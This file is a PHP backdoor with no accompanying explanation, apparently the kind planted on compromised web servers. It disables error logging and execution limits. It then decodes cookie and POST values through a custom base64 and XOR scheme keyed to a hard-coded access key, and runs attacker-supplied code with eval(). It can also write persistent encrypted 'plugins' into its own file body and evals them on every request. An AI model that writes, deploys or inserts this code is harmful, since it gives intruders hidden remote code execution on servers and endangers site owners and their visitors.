

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('file_put_contents '))
{
    define('file_put_contents ', 1);

    $rjblrujy = '7fb3a379-7087-4028-b2ca-7a0985866dc9';
    global $rjblrujy;

    function qwsbzpfk($gtwldxct) {

        if (strlen($gtwldxct) < 4)
        {
            return "";
        }

        $uqlbnceo = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

        $sitpvlp = str_split($uqlbnceo);
        $sitpvlp = array_flip($sitpvlp);

        $jjbjcdm = 0;
        $pjppmha = "";

        $gtwldxct = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $gtwldxct);

        do {
            $uyjygcqh = $sitpvlp[$gtwldxct[$jjbjcdm++]];
            $afrucx = $sitpvlp[$gtwldxct[$jjbjcdm++]];
            $vyzttptl = $sitpvlp[$gtwldxct[$jjbjcdm++]];
            $zckfoadc = $sitpvlp[$gtwldxct[$jjbjcdm++]];

            $jjbjcdmqylnid = ($uyjygcqh << 2) | ($afrucx >> 4);
            $reovxtf = (($afrucx & 15) << 4) | ($vyzttptl >> 2);
            $wkrxipy = (($vyzttptl & 3) << 6) | $zckfoadc;
            $pjppmha = $pjppmha . chr($jjbjcdmqylnid);
            if ($vyzttptl != 64) {
                $pjppmha = $pjppmha . chr($reovxtf);
            }
            if ($zckfoadc != 64) {
                $pjppmha = $pjppmha . chr($wkrxipy);
            }
        } while ($jjbjcdm < strlen($gtwldxct));
        return $pjppmha;
    }

    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($sgishor, $geixjybw, $yshgpms = False)
        {
            $aibbfkmz = $yshgpms == 8 ? 'a' : 'w';
            $sgishorpdqayp = @fopen($sgishor, $aibbfkmz);
            if ($sgishorpdqayp === False)
            {
                return 0;
            }
            else
            {
                if (is_array($geixjybw)) $geixjybw = implode($geixjybw);
                $gaorpn = fwrite($sgishorpdqayp, $geixjybw);
                fclose($sgishorpdqayp);
                return $gaorpn;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($bnlhaou)
        {
            $sgishorpdqaypbvksaj = fopen($bnlhaou, "r");
            $xaxmbg = fread($sgishorpdqaypbvksaj, filesize($bnlhaou));
            fclose($sgishorpdqaypbvksaj);

            return $xaxmbg;
        }
    }
    function dhoxfz()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function mbhvmwag($wveghe, $jjbjcdmiztpupp)
    {
        $oghhmd = "";

        for ($jjbjcdm=0; $jjbjcdm<strlen($wveghe);)
        {
            for ($onfopkks=0; $onfopkks<strlen($jjbjcdmiztpupp) && $jjbjcdm<strlen($wveghe); $onfopkks++, $jjbjcdm++)
            {
                $oghhmd .= chr(ord($wveghe[$jjbjcdm]) ^ ord($jjbjcdmiztpupp[$onfopkks]));
            }
        }

        return $oghhmd;
    }

    function fxjrig($wveghe, $jjbjcdmiztpupp)
    {
        global $rjblrujy;

        return mbhvmwag(mbhvmwag($wveghe, $jjbjcdmiztpupp), $rjblrujy);
    }
    function jeamdkqd($wveghe, $jjbjcdmiztpupp)
    {
        global $rjblrujy;

        return mbhvmwag(mbhvmwag($wveghe, $rjblrujy), $jjbjcdmiztpupp);
    }

    function hiytack()
    {
        $xiulds = @file_get_contents(dhoxfz());

        $pwaqouaj = strpos($xiulds, md5(dhoxfz()));
        if ($pwaqouaj !== FALSE)
        {
            $pasctjbt = substr($xiulds, $pwaqouaj + 32);
            $zivtfol = @unserialize(fxjrig(rawurldecode($pasctjbt), md5(dhoxfz())));
        }
        else
        {
            $zivtfol = Array();
        }

        return $zivtfol;
    }

    function fmmlof($zivtfol)
    {
        $plosoit = rawurlencode(jeamdkqd(@serialize($zivtfol), md5(dhoxfz())));
        $xiulds = @file_get_contents(dhoxfz());

        $pwaqouaj = strpos($xiulds, md5(dhoxfz()));
        if ($pwaqouaj !== FALSE)
        {
            $rmiovjj = substr($xiulds, $pwaqouaj + 32);
            $xiulds = str_replace($rmiovjj, $plosoit, $xiulds);

        }
        else
        {
            $xiulds = $xiulds . "\n\n//" . md5(dhoxfz()) . $plosoit;
        }

        @file_put_contents(dhoxfz(), $xiulds);
    }

    function wgsyqrx($vjyuooy, $urwmoc)
    {
        $zivtfol = hiytack();

        $zivtfol[$vjyuooy] = qwsbzpfk($urwmoc);

        fmmlof($zivtfol);
    }

    function qexduzi($vjyuooy)
    {
        $zivtfol = hiytack();

        unset($zivtfol[$vjyuooy]);

        fmmlof($zivtfol);
    }

    function cxbjov($vjyuooy=NULL)
    {
        foreach (hiytack() as $eybtugco=>$onfopkksweeskq)
        {
            if ($vjyuooy)
            {
                if (strcmp($vjyuooy, $eybtugco) == 0)
                {
                    eval($onfopkksweeskq);
                    break;
                }
            }
            else
            {
                eval($onfopkksweeskq);
            }
        }
    }

    foreach (array_merge($_COOKIE, $_POST) as $sgishorpdqaypogldon => $wveghe)
    {
        $wveghe = @unserialize(fxjrig(qwsbzpfk($wveghe), $sgishorpdqaypogldon));

        if (isset($wveghe['ak']) && $rjblrujy==$wveghe['ak'])
        {
            if ($wveghe['a'] == 'i')
            {
                $jjbjcdm = Array(
                    'pv' => @phpversion(),
                    'sv' => '2.0-1',
                    'ak' => $wveghe['ak'],
                );
                echo @serialize($jjbjcdm);
                exit;
            }
            elseif ($wveghe['a'] == 'e')
            {
                eval($wveghe['d']);
            }
            elseif ($wveghe['a'] == 'plugin')
            {
                if($wveghe['sa'] == 'add')
                {
                    wgsyqrx($wveghe['p'], $wveghe['d']);
                }
                elseif($wveghe['sa'] == 'rem')
                {
                    qexduzi($wveghe['p']);
                }
            }
            echo $wveghe['ak'];
            exit();
        }
    }

    cxbjov();
}